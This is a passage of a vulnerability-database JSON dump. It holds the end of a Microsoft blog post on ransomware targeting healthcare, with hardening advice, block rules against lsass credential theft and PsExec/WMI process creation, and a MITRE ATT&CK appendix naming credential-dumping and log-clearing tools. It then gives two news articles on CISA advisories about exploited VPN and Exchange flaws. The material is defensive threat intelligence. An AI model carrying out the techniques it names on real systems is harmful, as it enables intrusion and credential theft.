[_shodan.io_](<https://www.shodan.io/>), to augment your own data. Systems that should be considered of interest to attackers include:\n\n * RDP or Virtual Desktop endpoints without MFA\n * Citrix ADC systems affected by CVE-2019-19781\n * Pulse Secure VPN systems affected by CVE-2019-11510\n * Microsoft SharePoint servers affected by CVE-2019-0604\n * Microsoft Exchange servers affected by CVE-2020-0688\n * Zoho ManageEngine systems affected by CVE-2020-10189\n\nTo further reduce organizational exposure, Microsoft Defender ATP customers can use the [Threat and Vulnerability Management (TVM)](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/next-gen-threat-and-vuln-mgt>) capability to discover, prioritize, and remediate vulnerabilities and misconfigurations. TVM allows security administrators and IT administrators to collaborate seamlessly to remediate issues.\n\n### Inspect and rebuild devices with related malware infections\n\nMany ransomware operators enter target networks through existing infections of malware like Emotet and Trickbot. These malware families, traditionally considered to be banking trojans, have been used to deliver all kinds of payloads, including persistent implants. Investigate and remediate any known infections and consider them possible vectors for sophisticated human adversaries. Ensure that you check for exposed credentials, additional payloads, and lateral movement prior to rebuilding affected endpoints or resetting passwords.\n\n## Building security hygiene to defend networks against human-operated ransomware\n\nAs ransomware operators continue to compromise new targets, defenders should proactively assess risk using all available tools. You should continue to enforce proven preventive solutions\u2014credential hygiene, minimal privileges, and host firewalls\u2014to stymie these attacks, which have been consistently observed taking advantage of security hygiene issues and over-privileged credentials.\n\nApply these measures to make your network more resilient against new breaches, reactivation of dormant implants, or lateral movement:\n\n * Randomize local administrator passwords using a tool such as LAPS.\n * Apply [Account Lockout Policy](<https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/account-lockout-policy>).\n * Ensure good perimeter security by patching exposed systems. Apply mitigating factors, such as MFA or vendor-supplied mitigation guidance, for vulnerabilities.\n * Utilize [host firewalls to limit lateral movement](<https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections>). Preventing endpoints from communicating on TCP port 445 for SMB will have limited negative impact on most networks, but can significantly disrupt adversary activities.\n * Turn on cloud-delivered protection for Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.\n * Follow standard guidance in the [security baselines](<https://techcommunity.microsoft.com/t5/microsoft-security-baselines/bg-p/Microsoft-Security-Baselines>) for Office and Office 365 and the Windows security baselines. Use [Microsoft Secure Score](<https://docs.microsoft.com/en-us/microsoft-365/security/mtp/microsoft-secure-score-preview>) assesses to measures security posture and get recommended improvement actions, guidance, and control.\n * Turn on [tamper protection](<https://techcommunity.microsoft.com/t5/Microsoft-Defender-ATP/Tamper-protection-now-generally-available-for-Microsoft-Defender/ba-p/911482>) features to prevent attackers from stopping security services.\n * Turn on [attack surface reduction rules](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction>), including rules that can block ransomware activity: \n * Use advanced protection against ransomware\n * Block process creations originating from PsExec and WMI commands\n * Block credential stealing from the Windows local security authority subsystem (lsass.exe)\n\nFor additional guidance on improving defenses against human-operated ransomware and building better security posture against cyberattacks in general, read [Human-operated ransomware attacks: A preventable disaster](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>).\n\n## Microsoft Threat Protection: Coordinated defense against complex and wide-reaching human-operated ransomware\n\nWhat we\u2019ve learned from the increase in ransomware deployments in April is that attackers pay no attention to the real-world consequences of disruption in services\u2014in this time of global crisis\u2014that their attacks cause.\n\nHuman-operated ransomware attacks represent a different level of threat because adversaries are adept at systems administration and security misconfigurations and can therefore adapt to any path of least resistance they find in a compromised network. If they run into a wall, they try to break through. And if they can\u2019t break through a wall, they\u2019ve shown that they can skillfully find other ways to move forward with their attack. As a result, human-operated ransomware attacks are complex and wide-reaching. No two attacks are exactly the same.\n\n[Microsoft Threat Protections (MTP)](<https://www.microsoft.com/en-us/security/technology/threat-protection>) provides coordinated defenses that uncover the complete attack chain and help block sophisticated attacks like human-operated ransomware. MTP combines the capabilities of multiple Microsoft 365 security services to orchestrate protection, prevention, detection, and response across endpoints, email, identities, and apps.\n\nThrough built-in intelligence, automation, and integration, MTP can block attacks, eliminate their persistence, and auto-heal affected assets. It correlates signals and consolidates alerts to help defenders prioritize incidents for investigation and response. MTP also provides a unique cross-domain hunting capability that can further help defenders identify attack sprawl and get org-specific insights for hardening defenses.\n\nMicrosoft Threat Protection is also part of a [chip-to-cloud security approach](<https://www.microsoft.com/security/blog/2020/03/17/secured-core-pcs-a-brief-showcase-of-chip-to-cloud-security-against-kernel-attacks/>) that combines threat defense on the silicon, operating system, and cloud. Hardware-backed security features on Windows 10 like address space layout randomization (ASLR), Control Flow Guard (CFG), and others harden the platform against many advanced threats, including ones that take advantage of vulnerable kernel drivers. These platform security features seamlessly integrate with Microsoft Defender ATP, providing end-to-end security that starts from a strong hardware root of trust. On [Secured-core PCs](<https://www.microsoft.com/en-us/windowsforbusiness/windows10-secured-core-computers>) these mitigations are enabled by default.\n\nWe continue to work with our customers, partners, and the research community to track human-operated ransomware and other sophisticated attacks. For dire cases customers can use available services like the [Microsoft Detection and Response (DART) team](<https://www.microsoft.com/security/blog/microsoft-detection-and-response-team-dart-blog-series/>) to help investigate and remediate.\n\n \n\n_Microsoft Threat Protection Intelligence Team_\n\n \n\n## Appendix: MITRE ATT&CK techniques observed\n\nHuman-operated ransomware campaigns employ a broad range of techniques made possible by attacker control over privileged domain accounts. The techniques listed here are techniques commonly used during attacks against healthcare and critical services in April 2020.\n\nCredential access\n\n * [T1003 Credential Dumping](<https://attack.mitre.org/techniques/T1003/>) | Use of LaZagne, Mimikatz, LsaSecretsView, and other credential dumping tools and exploitation of [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) on vulnerable endpoints\n\nPersistence\n\n * [T1084 Windows Management Instrumentation Event Subscription](<https://attack.mitre.org/techniques/T1084/>) | WMI event subscription\n * [T1136 Create Account](<https://attack.mitre.org/techniques/T1136/>) | Creation of new accounts for RDP\n\nCommand and control\n\n * [T1043 Commonly Used Port](<https://attack.mitre.org/techniques/T1043/>) | Use of port 443\n\nDiscovery\n\n * [T1033 System Owner/User Discovery](<https://attack.mitre.org/techniques/T1033/>) | Various commands\n * [T1087 Account Discovery](<https://attack.mitre.org/techniques/T1087/>) | LDAP and AD queries and other commands\n * [T1018 Remote System Discovery](<https://attack.mitre.org/techniques/T1018/>) | Pings, qwinsta, and other tools and commands\n * [T1482 Domain Trust Discovery](<https://attack.mitre.org/techniques/T1482/>) | Domain trust enumeration using Nltest\n\nExecution\n\n * [T1035 Service Execution](<https://attack.mitre.org/techniques/T1035/>) | Service registered to run CMD (as ComSpec) and PowerShell commands\n\nLateral movement\n\n * [T1076 Remote Desktop Protocol](<https://attack.mitre.org/techniques/T1076/>) | Use of RDP to reach other machines in the network\n * [T1105 Remote File Copy](<https://attack.mitre.org/techniques/T1105/>) | Lateral movement using WMI and PsExec\n\nDefense evasion\n\n * [T1070 Indicator Removal on Host](<https://attack.mitre.org/techniques/T1070/>) | Clearing of event logs using wevutil, removal of USNJournal using fsutil, and deletion of slack space on drive using cipher.exe\n * [T1089 Disabling Security Tools](<https://attack.mitre.org/techniques/T1089/>) | Stopping or tampering with antivirus and other security using ProcessHacker and exploitation of vulnerable software drivers\n\nImpact\n\n * [T1489 Service Stop](<https://attack.mitre.org/techniques/T1489/>) | Stopping of services prior to encryption\n * [T1486 Data Encrypted for Impact](<https://attack.mitre.org/techniques/T1486/>) | Ransomware encryption\n\nThe post [Ransomware groups continue to target healthcare, critical services; here\u2019s how to reduce risk](<https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>) appeared first on [Microsoft Security.", "published": "2020-04-28T16:00:49", "modified": "2020-04-28T16:00:49", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "reporter": "Eric Avena", "references": [], "cvelist": ["CVE-2019-0604", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-10189"], "lastseen": "2020-04-30T23:04:13", "viewCount": 2818, "enchantments": {"dependencies": {"references": [{"type": "0daydb", "idList": ["0DAYDB:137B89027DF0ADFC87056CE176A77441"]}, {"type": "attackerkb", "idList": ["AKB:0C69B33C-2322-4075-BE16-A92593B75107", "AKB:0FA0C973-1E4C-48B7-BA36-DBE63803563D", "AKB:236680FB-F804-4F5D-B51D-4B50C9F69BBD", "AKB:67DD67D3-33BC-455C-98A3-7DD0E1D4613D", "AKB:75221F03-CFA1-478E-9777-568E523E3272", "AKB:86915DE7-C5F7-483B-A324-DF5B1929FBF6", "AKB:90047E82-FDD8-47DB-9552-50D104A34230", "AKB:AFC76977-D355-470D-A7F6-FEF7A8352B65", "AKB:B8A2FA01-8796-4335-8BF4-45147E14AFC9", "AKB:DF071775-CD3A-4643-9E29-3368BD93C00F", "AKB:E6BD4207-BAC0-40E1-A4C8-92B6D3D58D4B", "AKB:ED05D93E-5B20-4B44-BAC8-C4CB5B46254A", "AKB:F0223615-0DEB-4BCC-8CF7-F9CED07F1876"]}, {"type": "avleonov", "idList": ["AVLEONOV:4FCA3B316DF1BAA7BC038015245D9813", "AVLEONOV:56C5888A0A7E36482CFC39A438BADAB3", "AVLEONOV:6A714F9BC2BBE696D3586B2629169491", "AVLEONOV:B0F649A99B171AC3032AF71B1DCCFE34"]}, {"type": "canvas", "idList": ["NETSCALER_TRAVERSAL_RCE", "OWA_RCE"]}, {"type": "cert", "idList": ["VU:619785", "VU:927237"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2019-0392", "CPAI-2019-1097", "CPAI-2019-1653", "CPAI-2020-0104", "CPAI-2020-0118"]}, {"type": "cisa", "idList": ["CISA:134C272F26FB005321448C648224EB02", "CISA:18E5825084F7681AD375ACB5B1270280", "CISA:5BA27AECCB94A75E13B4091A8F85AD87", "CISA:661993843C9F9A838ADA8B8B8B9412D1", "CISA:8AA4B67E8B2150628DAEB8C3A98C4BEC", "CISA:E46D6B22DC3B3F8B062C07BD8EA4CB7C"]}, {"type": "citrix", "idList": ["CTX267027"]}, {"type": "cve", "idList": ["CVE-2019-0594", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-10189"]}, {"type": "dsquare", "idList": ["E-688"]}, {"type": "exploitdb", "idList": ["EDB-ID:47297", "EDB-ID:47901", "EDB-ID:47902", "EDB-ID:47913", "EDB-ID:47930", "EDB-ID:48153", "EDB-ID:48168"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:04BD77915CB7D5152AF289164D21448A", "EXPLOITPACK:213FB88DED3CCAB77D32289A335E386D", "EXPLOITPACK:23F64F82AC4F6039E4EBCB303C604A42", "EXPLOITPACK:71F27F0B85E2B8F7A6B9272A3136DA05", "EXPLOITPACK:959CB519C011AA90D2BEE4ED33D8FEBF", "EXPLOITPACK:D0A0C692882848C218FDF1B93258E171"]}, {"type": "fireeye", "idList": ["FIREEYE:173497473E4F8289490BBFFF8E828EC9", "FIREEYE:27339B4646A838356BA1378430516613", "FIREEYE:2FBC6EAA2BC98E48BDE41A39FB730AA1", "FIREEYE:338F0E4516B790140B04DBFA18EAAC20", "FIREEYE:BFB36D22F20651C632D25AA20588E904", "FIREEYE:E126D2B5A643EE6CD5B128CAC8C217CF"]}, {"type": "freebsd", "idList": ["2BAB995F-36D4-11EA-9DAD-002590ACAE31"]}, {"type": "githubexploit", "idList": ["00B8023B-5D2D-5FF7-9F9E-C773ACF38386", "059DC199-E425-50EE-B5F5-E351E0323E69", "0829A67E-3C24-5D54-B681-A7F72848F524", "09DFDAA9-9EF6-513F-B464-D707B45D598A", "0A8A2E34-0577-5F13-BD78-B9E96A8AF008", "18DD4D81-26F7-5D44-BAC2-BC6B7D65E198", "1AAD4FCC-D02C-52F0-ADA8-410D1B99297C", "1AB95B23-4916-5338-9CB0-28672888287F", "1F74FB7B-4F6B-51C6-9117-E7A9750D027D", "27F3F58D-9FEF-5F4F-91FB-0D93B481FBA4", "2849E613-8689-58E7-9C55-A0616B66C91A", "2C33B9C6-636A-5907-8CD2-119F9B69B89B", "306622D1-6E5F-53BE-AE3D-A17E5DAC3F50", "31DB22CD-3492-524F-9D26-035FC1086A71", "37EBD8DB-50D9-5D1E-B6AB-31330A7C47C7", "38A11E23-686C-5C12-93FA-4A82D0E04202", "39093366-D071-5898-A67D-A99B956B6E73", "39732E15-7AF0-5FC2-851B-B63466C0F2F2", "3AEA79E9-5CA7-5210-9CAC-5E34F8E0C418", "3BFD8B83-5790-508D-8B9C-58C171517BD0", "4141B394-8FC2-5D74-B0A2-3A1F5DF6905E", "45A4CAC6-39DD-5F6D-B0C4-9688EF931746", "46FA259E-5429-580C-B1D5-D1F09EB90023", "498E3F5C-3DFB-5A3F-BFE8-BEB7339F0C2E", "52814444-4FCC-517B-B4B3-6DC5C4A27AA6", "5DD13827-3FCE-5166-806D-088441D41514", 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"CF9EC818-A904-586C-9C19-3B4F04770FBD", "DC044D23-6D59-5326-AB78-94633F024A74", "E3BF7E8E-58EA-5BC5-A6F4-401912FFB4BE", "E3D6A7AD-AC9C-55EB-A993-B78D05403B54", "EAFD9DBC-1E36-570B-9F48-8C355BBFD8E6", "EE4C8DE4-3366-58B0-9494-7FD5B6F9D0EF", "F1CA855B-967C-5A5E-9256-FDDE87702713", "F27B127B-57F0-5352-B92F-B6F921378CBB", "F3D87CA2-44D8-583C-AF7F-85AA53FB6CAD"]}, {"type": "hackerone", "idList": ["H1:536134", "H1:591295", "H1:671749", "H1:678496"]}, {"type": "hivepro", "idList": ["HIVEPRO:FD730BCAD086DD8C995242D13B38EBC8"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:4124E2CCDA610C6D222319C47C8D3250", "IMPERVABLOG:A30E92D9B177CCFF9F5476DD34E25F51"]}, {"type": "kaspersky", "idList": ["KLA11417", "KLA11664"]}, {"type": "kitploit", "idList": ["KITPLOIT:4421457840699592233"]}, {"type": "krebs", "idList": ["KREBS:62E2D32C0ABD1C4B8EA91C60B425255B", "KREBS:95DEE0244F6DE332977BB606555E5A3C", "KREBS:9D9C58DB5C5495B10D2EBDB92549B0F2"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:7E03882ED3E2DC3F06ABC3D88D86D4E6"]}, {"type": "metasploit", "idList": ["MSF:AUXILIARY/GATHER/PULSE_SECURE_FILE_DISCLOSURE", "MSF:AUXILIARY/SCANNER/HTTP/CITRIX_DIR_TRAVERSAL", "MSF:EXPLOIT/LINUX/HTTP/CITRIX_DIR_TRAVERSAL_RCE", "MSF:EXPLOIT/WINDOWS/HTTP/EXCHANGE_ECP_VIEWSTATE"]}, {"type": "mmpc", "idList": ["MMPC:D6D537E875C3CBD84822A868D24B31BA"]}, {"type": "mscve", "idList": ["MS:CVE-2019-0604", "MS:CVE-2020-0688"]}, {"type": "mskb", "idList": ["KB4462143"]}, {"type": "mssecure", "idList": ["MSSECURE:748E6D0B920B699D6D088D0AD4422C46", "MSSECURE:8D599A5B631D1251230D906E6D71C774", "MSSECURE:D6D537E875C3CBD84822A868D24B31BA"]}, {"type": "myhack58", "idList": ["MYHACK58:62201995674"]}, {"type": "nessus", "idList": ["CITRIX_NETSCALER_CTX267027.NASL", "FREEBSD_PKG_2BAB995F36D411EA9DAD002590ACAE31.NASL", "PULSE_CONNECT_SECURE-CVE-2019-11510.NASL", "PULSE_CONNECT_SECURE-SA-44101.NASL", "SMB_NT_MS20_FEB_EXCHANGE.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:154176", "PACKETSTORM:155904", "PACKETSTORM:155905", "PACKETSTORM:155930", "PACKETSTORM:155947", "PACKETSTORM:155972", "PACKETSTORM:156592", "PACKETSTORM:156620", "PACKETSTORM:156730", "PACKETSTORM:158056"]}, {"type": "ptsecurity", "idList": ["PT-2020-01"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:14FD05969C722B5BF3DBBF48ED6DA9C0", "QUALYSBLOG:82E24C28622F0C96140EDD88C6BD8F54", "QUALYSBLOG:D8942BC5A4E89874A6FC2A8F7F74D3F1"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:EAEC3BF3C403DB1C2765FD14F0E03A85"]}, {"type": "saint", "idList": ["SAINT:1AF7483E5B4DB373D9449DD910472EA5", "SAINT:67BEB8C11AAB63038EBD6BD535D548D7"]}, {"type": "securelist", "idList": ["SECURELIST:094B9FCE59977DD96C94BBF6A95D339E", "SECURELIST:D0FFA6E46D43B7A592C34676F2EF3EDB"]}, {"type": "srcincite", "idList": ["SRC-2020-0011"]}, {"type": "symantec", "idList": ["SMNTC-111238"]}, {"type": "talosblog", "idList": ["TALOSBLOG:7192A351B37E9A67C1A5DB760A14DA7E", "TALOSBLOG:AB5E63755953149993334997F5123794", "TALOSBLOG:C73CDA82B845335B5DCC8A94FB5662D8", "TALOSBLOG:D7662F18F14544FB63C58CB527CC3A4A", "TALOSBLOG:EA0E0FACD93EAC05E55A6C64CC82F3F6"]}, {"type": "taosecurity", "idList": ["TAOSECURITY:CF99A8E68CF7727296D8451EE445844C"]}, {"type": "thn", "idList": ["THN:166AAAF7F04EF01C9E049500387BD1FD", "THN:42A0EFDB5165477E18333E9EE1A81D8E", "THN:46994B7A671ED65AD9975F25F514C6E3", "THN:6ED39786EE29904C7E93F7A0E35A39CB", "THN:80D2DBC4130D9FF314BDC4C19EB5CD4E", "THN:9994A9D5CFB76851BB74C8AD52F3DBBE"]}, {"type": "threatpost", "idList": ["THREATPOST:06C5D9E6950186757AA989F2557336B3", "THREATPOST:142DAF150C2BF9EB70ECE95F46939532", "THREATPOST:157F244C629A1657480AFA561FF77BE4", "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "THREATPOST:199785A97C530FECDF2B53B871FBE1C2", "THREATPOST:2018FCCB3FFD46BACD36ADBC6C9013CE", "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "THREATPOST:24AD38597408C4E7757770D45345AEBA", "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", 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"THREATPOST:AD4EF56E5440159F6E37D8B403C253D7", "THREATPOST:B047BB0FECBD43E30365375959B09B04", "THREATPOST:B53DDA5AD9C6530F631391E064A0D4FA", "THREATPOST:B956AABD7A9591A8F25851E15000B618", "THREATPOST:BD8DD789987BFB9BE93AA8FD73E98B40", "THREATPOST:C535D98924152E648A3633199DAC0F1E", "THREATPOST:DBA639CBD82839FDE8E9F4AE1031AAF7", "THREATPOST:DDB6E2767CFC8FF972505D4C12E6AB6B", "THREATPOST:DF7C78725F19B2637603E423E56656D4", "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "THREATPOST:F54F8338674294DE3D323ED03140CB71", "THREATPOST:FADCF664C06E3747C40C200AE681FDF8", "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:9BC812C1F699A6136F37C0ACE6451F20"]}, {"type": "zdi", "idList": ["ZDI-19-181", "ZDI-20-258"]}, {"type": "zdt", "idList": ["1337DAY-ID-33140", "1337DAY-ID-33794", "1337DAY-ID-33806", "1337DAY-ID-33824", "1337DAY-ID-33951", "1337DAY-ID-34037", "1337DAY-ID-34051", "1337DAY-ID-34095"]}]}, "exploitation": null, "vulnersScore": 0.9}, "immutableFields": [], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "edition": 2, "scheme": null, "_state": {"dependencies": 1659994789, "score": 1659957065}, "_internal": {"score_hash": "9fe3f54cd1ebaadf6d690a7cb1d5ef33"}}
{"thn": [{"lastseen": "2022-05-09T12:40:09", "description": "[](<https://thehackernews.com/images/-S81ZTpL3VW0/X2CFi_g7l0I/AAAAAAAAAww/bXeyXz56F-0V-P2VhHdoO5qJllbhNqfswCLcBGAsYHQ/s728-e100/hacking.jpg>)\n\nThe US Cybersecurity and Infrastructure Security Agency (CISA) issued a [new advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-258a>) on Monday about a wave of cyberattacks carried by Chinese nation-state actors targeting US government agencies and private entities. \n \n\"CISA has observed Chinese [Ministry of State Security]-affiliated cyber threat actors operating from the People's Republic of China using commercially available information sources and open-source exploitation tools to target US Government agency networks,\" the cybersecurity agency said. \n \nOver the past 12 months, the victims were identified through sources such as [Shodan](<https://www.shodan.io/>), the Common Vulnerabilities and Exposure ([CVE](<https://cve.mitre.org/>)) database, and the National Vulnerabilities Database (NVD), exploiting the public release of a vulnerability to pick vulnerable targets and further their motives. \n \nBy compromising legitimate websites and leveraging spear-phishing emails with malicious links pointing to attacker-owned sites in order to gain initial access, the Chinese threat actors have deployed open-source tools such as [Cobalt Strike](<https://www.cobaltstrike.com/>), [China Chopper Web Shell](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>), and [Mimikatz](<https://github.com/gentilkiwi/mimikatz>) credential stealer to extract sensitive information from infected systems. \n \nThat's not all. Taking advantage of the fact that organizations aren't quickly mitigating known software vulnerabilities, the state-sponsored attackers are \"targeting, scanning, and probing\" US government networks for unpatched flaws in F5 Networks Big-IP Traffic Management User Interface ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), Citrix VPN ([CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)), Pulse Secure VPN ([CVE-2019-11510](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)), and Microsoft Exchange Servers ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) to compromise targets. \n \n\"Cyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks,\" the agency said. \"While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals.\" \n \nThis is not the first time Chinese actors have worked on behalf of China's MSS to infiltrate various industries across the US and other countries. \n \nIn July, the US Department of Justice (DoJ) [charged two Chinese nationals](<https://thehackernews.com/2020/07/chinese-hackers-covid19.html>) for their alleged involvement in a decade-long hacking spree spanning high tech manufacturing, industrial engineering, defense, educational, gaming software, and pharmaceutical sectors with an aim to steal trade secrets and confidential business information. \n \nBut it's not just China. Earlier this year, Israeli security firm ClearSky uncovered a cyberespionage campaign dubbed \"[Fox Kitten](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>)\" that targeted government, aviation, oil and gas, and security companies by exploiting unpatched VPN vulnerabilities to penetrate and steal information from target companies, prompting CISA to issue [multiple security alerts](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>) urging businesses to secure their VPN environments. \n \nStating that sophisticated cyber threat actors will continue to use open-source resources and tools to single out networks with low-security posture, CISA has recommended organizations to patch [routinely exploited vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>), and \"audit their configuration and patch management programs to ensure they can track and mitigate emerging threats.\"\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-15T09:14:00", "type": "thn", "title": "CISA: Chinese Hackers Exploiting Unpatched Devices to Target U.S. Agencies", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5902"], "modified": "2020-09-15T09:14:30", "id": "THN:0E6CD47141AAF54903BD6C1F9BD96F44", "href": "https://thehackernews.com/2020/09/chinese-hackers-agencies.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T03:29:54", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjhNJNYKsz0zRz-CzaUqAm2MRgt6hyl7sq05Q-XnbDm2VwMedx339MqSyZOAKaZNIywGOU7b4usV_c7PkobISvqG4n1OWRAK6MowARD4h2L_HH0soDHDxo-HLg5bT1n0PRyLyda5DamIal3W2BOTcPpLYlDUc8cUHZ5tqR_YBCcyTEpn2SBhSPC2m-r/s728-e100/flaws.gif>)\n\n[Log4Shell](<https://thehackernews.com/2021/12/new-apache-log4j-update-released-to.html>), [ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>), [ProxyLogon](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>), [ZeroLogon](<https://thehackernews.com/2020/09/detecting-and-preventing-critical.html>), and flaws in [Zoho ManageEngine AD SelfService Plus](<https://thehackernews.com/2021/09/cisa-warns-of-actively-exploited-zoho.html>), [Atlassian Confluence](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>), and [VMware vSphere Client](<https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html>) emerged as some of the top exploited security vulnerabilities in 2021.\n\nThat's according to a \"[Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>)\" report released by cybersecurity authorities from the Five Eyes nations Australia, Canada, New Zealand, the U.K., and the U.S.\n\nOther frequently weaponized flaws included a remote code execution bug in Microsoft Exchange Server ([CVE-2020-0688](<https://thehackernews.com/2021/07/top-30-critical-security.html>)), an arbitrary file read vulnerability in Pulse Secure Pulse Connect Secure ([CVE-2019-11510](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>)), and a path traversal defect in Fortinet FortiOS and FortiProxy ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)).\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjV_5FJTAhnIsR8JgqL9uQg0ZFxcNG_CjB_UQkbmLMHp3ywOvVYK21BPlGIrlFOkrpjXKZTudyfgIFVbvdoCqezanw_M902zAF_j0D0iiMlBFYA9xgTU3PqsuazBsluMEFz04W5fr6wR3IcoNmrMSzQaRgR5ai54nGTQjKTBNImgKDAlUP3blp4-t8a/s728-e100/cisa.jpg>)\n\nNine of the top 15 routinely exploited flaws were remote code execution vulnerabilities, followed by two privilege escalation weaknesses, and one each of security feature bypass, arbitrary code execution, arbitrary file read, and path traversal flaws.\n\n\"Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities,\" the agencies said in a joint advisory.\n\n\"For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (PoC) code within two weeks of the vulnerability's disclosure, likely facilitating exploitation by a broader range of malicious actors.\"\n\nTo mitigate the risk of exploitation of publicly known software vulnerabilities, the agencies are recommending organizations to apply patches in a timely fashion and implement a centralized patch management system.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-28T05:41:00", "type": "thn", "title": "U.S. Cybersecurity Agency Lists 2021's Top 15 Most Exploited Software Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", 